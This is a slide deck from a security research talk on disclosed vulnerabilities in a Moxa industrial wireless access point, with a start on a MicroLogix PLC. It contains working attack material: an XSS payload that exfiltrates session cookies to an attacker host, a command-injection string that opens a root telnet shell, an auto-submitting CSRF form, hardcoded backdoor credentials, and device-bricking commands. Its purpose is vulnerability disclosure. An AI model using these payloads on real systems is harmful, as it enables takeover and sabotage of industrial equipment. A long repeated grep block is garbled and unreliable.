FROM BOX TO BACKDOOR

Using Old School Tools and Techniques to Discover Backdoors in Modern Devices

Patrick DeSantis | @pat_r10t
ADVANCED PERSISTENT THIRST (APT)
MOXA AWK-3131A WAP
The AWK-3131A is 802.11n compliant to deliver speed, range, and reliability to support even the most bandwidth-intensive applications. The 802.11n standard incorporates multiple technologies, including Spatial Multiplexing MIMO (Multi-In, Multi-Out), 20 and 40 MHz channels, and dual bands (2.4 GHz and 5 GHz) to provide high speed wireless communication, while still being able to communicate with legacy 802.11a/b/g devices. The AWK’s operating temperature ranges from -25 to 60°C for standard models and -40 to 75°C for wide temperature models, and is rugged enough for all types of harsh industrial environments. Installation of the AWK is easy using DIN-Rail mounting or distribution boxes, and with its wide operating temperature range, IP30-rated housing with LED indicators, and DIN-Rail mounting it is a convenient yet reliable solution for all types of industrial wireless applications.”
MOXA WAP: ABOUT TL;DR

- It’s an 802.11n Wireless Access Point (WAP)
  - in a din rail mountable enclosure
  - many of the parts inside are the same as in common SOHO networking devices

- Moxa advertises that the AWK series is
  - "a Perfect Match for Your AGV & AS/RS Systems"
    • Automated Guided Vehicles (AGV)
    • Automated Storage and Retrieval System (AS/RS)
      - common in Automated Materials Handling (AMH) systems
MOXA WAP: ABOUT

- It’s “Unbreakable”

- CHALLENGE ACCEPTED
MOXA WAP: DEVICE LIMITATIONS

- Limited to about 8k connections per some unit of time
  - lots of resource exhaustion DoS issues
  - throttle traffic or wait for recovery
- Crashes... a lot
- No legit operating system access
- Very limited shell environment
  - most management and configuration done via web app
- Crashes... A LOT
  - so many crashes...
  - often will reboot or need power cycle to recover
    - later, we’ll have access to crash dumps and see a lot of these crashes are seg faults
      - want some CVEs?
MOXA WAP: DEVICE LIMITATIONS

Model Name: AWK-3131A-US
LAN MAC Address: 00:90:E8:57:23:07
Serial No: 871
Firmware Version: 1.1 Build 15122211

<< Main Menu >>
(1) System Info Settings
(2) Network Settings
(3) Time Settings
(4) Maintenance
(5) Restart
(q) Quit

Key in your selection: [ ]
MOXA WAP: DEVICE LIMITATIONS

CVE-2016-8723: Moxa AWK-3131A HTTP GET Denial of Service Vulnerability
MOXA WAP: FIRMWARE ANALYSIS

```
root@kali:~/Downloads# binwalk AMK3131A_1.3_Beild_16100315.rom

DECIMAL   HEXADECIMAL   DESCRIPTION

root@kali:~/Downloads# strings -n 10 AMK3131A_1.3_Beild_16100315.rom
```

TALOS
MOXA WAP: FIRMWARE ANALYSIS

LOOKS ENCRYPTED
<table>
<thead>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>Status</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>22/tcp</td>
<td>tcp</td>
<td>open</td>
<td>ssh, Dropbear, sshd 0.53</td>
</tr>
<tr>
<td>23/tcp</td>
<td>tcp</td>
<td>open</td>
<td>telnet, BusyBox, telnetd</td>
</tr>
<tr>
<td>80/tcp</td>
<td>tcp</td>
<td>open</td>
<td>http, GoAhead WebServer</td>
</tr>
<tr>
<td>443/tcp</td>
<td>tcp</td>
<td>open</td>
<td>ssl/http, GoAhead WebServer</td>
</tr>
<tr>
<td>5801/tcp</td>
<td>tcp</td>
<td>open</td>
<td>Moxa serviceAgent (TCP)</td>
</tr>
<tr>
<td>5800/udp</td>
<td>udp</td>
<td>open</td>
<td>Moxa serviceAgent (UDP)</td>
</tr>
</tbody>
</table>
MOXA WAP: WEB APP

MOXA AWK-3131A-US

Username: admin

Password: 

Login
<table>
<thead>
<tr>
<th><strong>Host</strong></th>
<th>192.168.127.253</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>User-Agent</strong></td>
<td>Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0</td>
</tr>
<tr>
<td><strong>Referer</strong></td>
<td><a href="http://192.168.127.253/Login.asp">http://192.168.127.253/Login.asp</a></td>
</tr>
<tr>
<td><strong>Cookie</strong></td>
<td>Password508=bee8b8986a5a48a2f1a0fb42ebacf328</td>
</tr>
<tr>
<td><strong>Connection</strong></td>
<td>keep-alive</td>
</tr>
<tr>
<td><strong>Content-Type</strong></td>
<td>application/x-www-form-urlencoded</td>
</tr>
<tr>
<td><strong>Content-Length</strong></td>
<td>58</td>
</tr>
<tr>
<td><strong>POSTDATA</strong></td>
<td>Username=not a real user&amp;Password=&amp;Submit.x=25&amp;Submit.y=14</td>
</tr>
</tbody>
</table>
MOXA WAP: WEB APP

HARDCODED USER

```
lw    $a0, 0x28+arg_0($fp)    # 31
lui   $v0, 0x45
addiu $a1, $v0, (aAdmin_0 - 0x450000)  # "admin"
la    $v0, strcmp
move  $t9, $v0
jalr  $t9; strcmp
nop
lw    $sp, 0x28+0x18($fp)
```
• Cryptographic nonce:
  – In crypto, a **Number used ONCE**
  – **Uses**
    • prevents replay attacks by ensuring “freshness”
    • as a pseudo-random IV
    • a salt in hashing algorithms

• Not the Urban Dictionary definition of nonce
  – “(UK) Slang for paedophile”
#!/usr/bin/python

import urllib2
import md5

password = "root"

nonce = urllib2.urlopen("http://192.168.127.253/webNonce?time=0").read()
cookie = md5.new(password + nonce).hexdigest()
#!/usr/bin/python

import urllib2
import time

while True:
    time.sleep(250)
MOXA WAP: WEB APP - FREEZE NONCE

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Nonce</th>
</tr>
</thead>
<tbody>
<tr>
<td>Thu Oct 6</td>
<td>14:34:50</td>
<td>5c3bb9bf3b6f754e</td>
</tr>
<tr>
<td>Thu Oct 6</td>
<td>14:35:00</td>
<td>5c3bb9bf3b6f754e</td>
</tr>
<tr>
<td>Thu Oct 6</td>
<td>14:36:51</td>
<td>5c3bb9bf3b6f754e</td>
</tr>
<tr>
<td>Thu Oct 6</td>
<td>14:37:51</td>
<td>5c3bb9bf3b6f754e</td>
</tr>
<tr>
<td>Thu Oct 6</td>
<td>14:38:51</td>
<td>5c3bb9bf3b6f754e</td>
</tr>
<tr>
<td>Thu Oct 6</td>
<td>14:39:51</td>
<td>5c3bb9bf3b6f754e</td>
</tr>
<tr>
<td>Thu Oct 6</td>
<td>14:40:34</td>
<td>5c3bb9bf3b6f754e</td>
</tr>
<tr>
<td>Thu Oct 6</td>
<td>14:50:34</td>
<td>b5a2c9b84cbd2a1f</td>
</tr>
<tr>
<td>Thu Oct 6</td>
<td>15:00:34</td>
<td>310b3ef010a5c980</td>
</tr>
<tr>
<td>Thu Oct 6</td>
<td>15:10:34</td>
<td>84eb1f3fc5abdba3</td>
</tr>
</tbody>
</table>

CVE-2016-8712: Moxa AWK-3131A Web Application Nonce Reuse Vulnerability
MOXA WAP: WEB APP - FIX SESSION

• The session token is calculated:
  – token = MD5(password + nonce)

• The device has only:
  – 1 user (admin) – effectively, there are no users
  – 1 password (default is “root”)
  – 1 nonce (changes after 5 mins of inactivity)

THERE IS ONLY 1 VALID SESSION TOKEN AT A TIME!

CAN WE STEAL IT?
MOXA WAP: WEB APP - XSS
MOXA WAP: WEB APP - XSS

- /client_list.asp [devIndex parameter]
  - devIndex=bikf4"<script>alert(document.cookie)</script>ej77g

- /multiple_ssid_set.asp [devIndex parameter]
  - devIndex=wireless_cert.asp?
    index=bikf4"<script>alert(document.cookie)</script>ej77g

- /wireless_cert.asp [index parameter]
  - wireless_cert.asp?
    index=bikf4"<script>alert(document.cookie)</script>ej77g

- /wireless_security.asp [vapIndex parameter]
  - vapIndex=bikf4"<script>alert(document.cookie)</script>ej77g
MOXA WAP: WEB APP - XSS

Reflected XSS: HACK YO’ SELF

Hidden field [bkpassword]
http://<device IP>/wireless_cert.asp?index=?
index=%22%3E%3Cscript%3E
window.location=%22http://<attacker ip>/test?
cookie=%22.concat%28document.cookie
%29%3C/script%3E
MOXA WAP: WEB APP - XSS

root@kali:~ # nc -klvvp 80
listening on [any] 80 ...
GET /test?cookie=Password508=1668a48faec1df871ec5fd265ab192bb HTTP/1.1
Host: 192.168.127.252
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close

GET /test?cookie=Password508=1668a48faec1df871ec5fd265ab192bb

WE HAVE TOKEN!
MOXA WAP: WEB APP - XSS

- We have
  - user name (hardcoded)
  - nonce (frozen)
  - session token (stolen cookie)

- We can easily crack password
  - it's just MD5(password + nonce)

- But, we don’t need the password
  - the nonce isn’t changing
  - logout just clears cookie and redirects to login page

**OUR SESSION TOKEN WILL NEVER* BECOME INVALID**

* as long as the nonce is frozen
MOXA WAP: WEB APP – OS CMD INJ
CVE-2016-8721: Moxa AWK-3131A Web Application Ping Command Injection Vulnerability
MOXA WAP: WEB APP – OS CMD INJ

; /bin/busybox telnetd -l/bin/sh -p9999

WE HAVE ROOT SHELL!
MOXA WAP: WEB APP - CSRF

CVE-2016-8718: Web Application Cross-Site Request Forgery Vulnerability

```html
<html>
<body>
<form action="http://192.168.127.253/forms/webSetPingTrace" method="POST">
  <input type="hidden" name="srvName" value="\x59;\x32;\x47;\x47;\x32;\x47;\x47;\x32;\x45;\x47;\x47;\x32;\x45;\x47;\x99;9999" />
  <input type="hidden" name="option" value="0" />
  <input type="hidden" name="bkpath" value="\x47;\x95;\x8e;\x46;\x82" />
  <input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

; /bin/busybox telnetd -l/bin/sh -p9999
### MOXA WAP: WEB APP - CSRF

```
Proto Recv-Q Send-Q Local Address
 tcp  0    0    0.0.0.0:5801
 tcp  0    0    0.0.0.0:80
 tcp  0    0    0.0.0.0:22
 tcp  0    0    0.0.0.0:23
 tcp  0    0    0.0.0.0:443
 tcp  0    0    0.0.0.0:5800
 udp  0    0    0.0.0.0:5801
 udp  0    0    0.0.0.0:5800

- # netstat -antup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address
 tcp  0    0    0.0.0.0:5801
 tcp  0    0    0.0.0.0:9999
 tcp  0    0    0.0.0.0:80
 tcp  0    0    0.0.0.0:22
 tcp  0    0    0.0.0.0:23
 tcp  0    0    0.0.0.0:443
 tcp  0    0    192.168.127.253:80
 tcp  0    0    192.168.127.253:22
 tcp  0    0    192.168.127.253:23
 tcp  0    0    192.168.127.253:443
 tcp  0    0    192.168.127.253:5800
 udp  0    0    192.168.127.253:128

- # netstat -antup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address
 tcp  0    0    0.0.0.0:5801
 tcp  0    0    0.0.0.0:9999
 tcp  0    0    0.0.0.0:80
 tcp  0    0    0.0.0.0:22
 tcp  0    0    0.0.0.0:23
 tcp  0    0    0.0.0.0:443
 tcp  0    0    192.168.127.253:80
 tcp  0    0    192.168.127.253:22
 tcp  0    0    192.168.127.253:23
 tcp  0    0    192.168.127.253:443
 tcp  0    0    192.168.127.253:5800
 udp  0    0    192.168.127.253:128
```
MOXA WAP: ATTACK SUMMARY

- Freeze
- Nonce
- Session Fixation
- Command Injection
- CSRF
- XSS
- BusyBox
- Telnet
- Root Shell
**MOXA WAP: GET BINARIES**

<table>
<thead>
<tr>
<th>Module</th>
<th>Type</th>
<th>Architecture</th>
</tr>
</thead>
<tbody>
<tr>
<td>io:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_console:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_doConfig:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_fw:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_init:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_ntp:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_onekey:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_onekey.c:</td>
<td>ASCII text</td>
<td></td>
</tr>
<tr>
<td>iw_ramImage:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_resetd:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_setBios:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_setValue:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_snmpd:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>iw_webs:</td>
<td>ELF 32-bit MSB executable</td>
<td>MIPS, MIPS32</td>
</tr>
<tr>
<td>libiwUtil.so:</td>
<td>ELF 32-bit MSB shared object</td>
<td>MIPS, MIPS</td>
</tr>
</tbody>
</table>
MOXA WAP: BACKDOOR

- 94jo3dkru4:Zg5S0mmQKk3kA:0:0:root:/:/bin/sh
- daccli:$1$$oCLuEVgI1iAqOA8pwkzAg1:0:0:root:/:usr/sbin/daccli
- netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
- mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
- admin:ZH0m6QMdLV0Wo:0:0:root:/usr/sbin/iw_console
- art::0:0:art calibration:/etc/art_shell.sh
MOXA WAP: BACKDOOR

- 94jo3dkru4:Zg5S0mmQKk3kA:0:0:root:/:/bin/sh

- daccli:$1$$oCLuEVgI1iAqOA8pWkzAg1:0:0:root:/:/usr/sbin/daccli

- netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash

- mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash

- admin:ZH0m6QMdLV0Wo:0:0:root:/:/usr/sbin/iw_console

- art::0:0:art calibration:/etc/art_shell.sh
MOXA WAP: BACKDOOR

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```

```
MOXA WAP: BACKDOOR
```

```
# grep -r "94jo3dkru4" / 
grep: /dev/console: No such device
grep: /dev/kd0: No such device or address
```
MOXA WAP: BACKDOOR

```
em:/dev/mem:/dev/mem:94jo3dkru4:$1$1ZudtN1wlcCPXkNu2w6vT/:;
em:echo "94jo3dkru4:moxaiw%s" | /sbin/chpasswd
em:/bin/passwd -u 94jo3dkru4 -p "moxaiw%s"
em:94jo3dkru4:gsL/ouFY1HrxI:0:0:root:/:/bin/sh
em:/dev/mem:94jo3dkru4:gsL/ouFY1HrxI:0:0:root:/:/bin/sh
em:94jo3dkru4:$1$1ZudtN1wlcCPXkNu2w6vT/:0:0:root:/:/bin/sh
em:94jo3dkru4moxaiw
em:echo "94jo3dkru4:moxaiw%s" | /sbin/chpasswd
```

Talos
$ strings iw_doConfig | grep moxa

... <snip> ...

echo "94jo3dkru4:moxaiw%s" | /sbin/chpasswd

/bin/passwd -u 94jo3dkru4 -p "moxaiw%s"
MOXA WAP: BACKDOOR

```c
$v0, 0x41
$a1, $v0, (aEchoAdminSSbin - 0x410000)  # "echo "admin:%s" | /sbin/chpasswd"
$a2, 0x130+arg_0($fp)
$v0, sprintf
$t9, $v0
$t9 ; sprintf

$gp, 0x130+var_120($fp)
$v0, $fp, 0x130+var_118
$a0, $v0
$v0, iw_system出て
$t9, $v0
$t9 ; iw_system出て

$gp, 0x130+var_120($fp)
$v0, $fp, 0x130+var_118
$a0, $v0
$v0, 0x41  # s
$v0, 0x41
$a1, $v0, (aEcho94jo3dkru4 - 0x410000)  # "echo "94jo3dkru4:moxaiw:%s" | /sbin"
$a2, 0x130+arg_0($fp)
$v0, sprintf
$t9, $v0
$t9 ; sprintf
```
MOXA WAP: BACKDOOR

• Sets admin user’s password
  – We know admin password is “root"
    
```
    # "echo \"admin:%s\" | /sbin/chpasswd"
```

• Sets 94jo3dkru4 user’s password
  – Doesn’t change the value being passed to %s
    
```
    # "echo \"94jo3dkru4:moxaiw%s\" | /sbin/ch"
```
  – “moxaiw%s” becomes “moxaiwroot”

• This is hard-coded in an initialization binary
  – runs every time the device boots
MOXA WAP: BACKDOOR

WE HAVE ROOT SHELL!
WE HAVE AN OPERATING SYSTEM ROOT-LEVEL BACKDOOR!!!
MOXA WAP: BACKDOOR

iw_system((int32_t)"iw_onekey %s ");
iw_system((int32_t)"killall -2 %s");
iw_system((int32_t)"ping -c 4 %s 1>/var/pingtestlog.txt 2>&1");

iw_system((int32_t)"openssl aes-256-cbc -d -k moxaiwroot -salt -in %s -out %s"); 

iw_system((int32_t)"rm %s");
iw_system((int32_t)"echo Import Fail > %s");
iw_system((int32_t)"touch %s%s");
iw_system((int32_t)"cd %s && tftp -p -r %s %s && echo $? > %s");
iw_system((int32_t)"echo \"TFTP Server no response\" > %s");
iw_system((int32_t)"rm %s%s");
MOXA WAP: NOW WHAT?

• We already have OS root
• It’s a “read-only” file system
• We already grabbed all the binaries and configs
• We could install a backdoor
  — but it already has one
• Lots of binaries already on device can be used to do fun things
MOXA WAP: NOW WHAT?

- Modify legit binaries
  - change the serviceAgent binary to deliver custom payloads to the Moxa Windows configuration application
    - this potentially allows an attacker to “swim upstream,” moving from the device up to the IT network
    - get around read-only: kill legit process and run evil from /var
  - “patch” the firmware install binary to skip integrity checks
- iptables, tunnels, catch all traffic, etc.
- Linux kernel modules
  - insmod, lsmod, rmmod
- Change RF parameters
  - frequency, channel, strength, etc.
MOXA WAP: NOW WHAT?

BRICK IT!
MOXA WAP: SOFT BRICK

- `killall5`
  - “It sends a signal to all processes except kernel threads and the processes in its own session”
  - device requires manual hard power cycle
    - physical reset button doesn’t work

- `umount / mount games`
- `etc.`
MOXA WAP: FIRM BRICK

- Not sure *exactly* how it happened 😊
- Was testing out a bunch of Moxa binaries
  - suspect it was `fw_setenv` followed by a couple `mount/umount` and a reboot
    - the device never came back from the reboot
  - have full console logs but haven’t been able to verify
    - so far, unable to un-brick the device
    - only have 1 functional device remaining
MOXA WAP: FIRM BRICK

`/ # fw_setenv <opt>`
Unlocking flash...
Done
Erasing old environment...
Done
Writing environment to /dev/mtd1...
Done
Locking ...
Done
`/ # mount -o remount,rw -a`
`/ # reboot`

RIP IN PEACE
<table>
<thead>
<tr>
<th></th>
<th>CVE-Code</th>
<th>CVSS Score</th>
<th>Vulnerability Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>CVE-2016-8717</td>
<td>10.0</td>
<td>Hard-coded Administrator Credentials Vulnerability</td>
</tr>
<tr>
<td>2</td>
<td>CVE-2016-8721</td>
<td>9.1</td>
<td>Web Application Ping Command Injection Vulnerability</td>
</tr>
<tr>
<td>3</td>
<td>CVE-2016-8723</td>
<td>7.5</td>
<td>HTTP GET Denial of Service Vulnerability</td>
</tr>
<tr>
<td>4</td>
<td>CVE-2016-8716</td>
<td>7.5</td>
<td>Web Application Cleartext Transmission of Password Vulnerability</td>
</tr>
<tr>
<td>5</td>
<td>CVE-2016-8718</td>
<td>7.5</td>
<td>Web Application Cross-Site Request Forgery Vulnerability</td>
</tr>
<tr>
<td>6</td>
<td>CVE-2016-8719</td>
<td>7.5</td>
<td>Web Application Multiple Reflected Cross-Site Scripting Vulnerabilities</td>
</tr>
<tr>
<td>7</td>
<td>CVE-2016-8712</td>
<td>5.9</td>
<td>Web Application Nonce Reuse Vulnerability</td>
</tr>
<tr>
<td>8</td>
<td>CVE-2016-8722</td>
<td>5.3</td>
<td>Web Application asqc.asp Information Disclosure Vulnerability</td>
</tr>
<tr>
<td>9</td>
<td>CVE-2016-8720</td>
<td>3.1</td>
<td>Web Application bkpath HTTP Header Injection Vulnerability</td>
</tr>
<tr>
<td>10</td>
<td>CVE-2016-0241</td>
<td>7.5</td>
<td>Web Application onekey Information Disclosure Vulnerability</td>
</tr>
<tr>
<td>11</td>
<td>CVE-2016-8725</td>
<td>5.3</td>
<td>Web Application systemlog.log Information Disclosure Vulnerability</td>
</tr>
<tr>
<td>12</td>
<td>CVE-2016-8724</td>
<td>5.3</td>
<td>serviceAgent Information Disclosure Vulnerability</td>
</tr>
<tr>
<td>13</td>
<td>CVE-2016-8726</td>
<td>7.5</td>
<td>web_runScript Header Manipulation Denial of Service Vulnerability</td>
</tr>
</tbody>
</table>
MOXA AWK-3131A: HELLO

```
drwxr-xr-x 2 root root  2332 Mar 10 10:33 bin
drwxr-xr-x 4 root root  1328 Mar 10 10:33 dev
drwxr-xr-x 3 root root  443  Mar 10 10:33 etc
drwxr-xr-x 10 root root  2062 Mar 10 10:33 lib
lrwxrwxrwx 1 root root   11 Mar 10 10:33 linuxrc -> bin/busybox
drwxr-xr-x 2 root root    3 Mar 10 10:27 mnt
drwxr-xr-x 2 root root  1077 Mar 10 10:33 proc
drwxr-xr-x 3 root root   31  Mar 10 10:19 sbin
-rw-r--r-- 1 root root  215  Mar 10 10:33 svn.txt
-rw-r--r-- 1 root root    0  Mar 28 11:37 var

~ # cat svn.txt

```
AB MICROLOGIX 1400 PLC
ML1400: ABOUT

- Programmable Logic Controller (PLC)
  - “micro” and “nano” control systems
    - as opposed to “small” or “large” control systems
  - “conveyor automation, security systems, and building and parking lot lighting”

- PLC includes built-in
  - Input / Output
  - Ethernet
  - Serial
  - Supports expansion I/O
Typical applications for the MicroLogix™ programmable controllers include:

- Material Handling
- Packaging Applications
- General Industrial Machinery
- Printing
- Food and Beverage
- Pharmaceutical
- Water Wastewater / SCADA
- Clutch/Brake control
- Position Control - Pick-and-place / Conveyor
ML1400: Firmware

- binwalk not much help
- strings not much help
- limited analysis tools
<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>4122</td>
<td>0x101A</td>
<td>HTML document header</td>
</tr>
<tr>
<td>304690</td>
<td>0x4A632</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1443840</td>
<td>0x160800</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1444658</td>
<td>0x160B32</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1444666</td>
<td>0x160B3A</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1445951</td>
<td>0x16103F</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1445959</td>
<td>0x161047</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1447568</td>
<td>0x161690</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1447642</td>
<td>0x1616DA</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1447650</td>
<td>0x1616E2</td>
<td>HTML document header</td>
</tr>
<tr>
<td>1449819</td>
<td>0x161F5B</td>
<td>Copyright string: &quot;Copyright &amp;copy 2008 Rock</td>
</tr>
<tr>
<td>1449893</td>
<td>0x161FA5</td>
<td>HTML document footer</td>
</tr>
<tr>
<td>1453027</td>
<td>0x162BE3</td>
<td>GIF image data, version &quot;89a&quot;, 20 x 16</td>
</tr>
<tr>
<td>1453140</td>
<td>0x162C54</td>
<td>GIF image data, version &quot;89a&quot;, 21 x 16</td>
</tr>
<tr>
<td>1453272</td>
<td>0x162CD8</td>
<td>GIF image data, version &quot;89a&quot;, 23 x 16</td>
</tr>
</tbody>
</table>
```
binwalk -A <firmware>
```

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>936</td>
<td>0x3A8</td>
<td>Motorola Coldfire instructions, function prologue/epilogue</td>
</tr>
<tr>
<td>1608</td>
<td>0x648</td>
<td>Motorola Coldfire instructions, function prologue/epilogue</td>
</tr>
<tr>
<td>1792</td>
<td>0x700</td>
<td>Motorola Coldfire instructions, function prologue/epilogue</td>
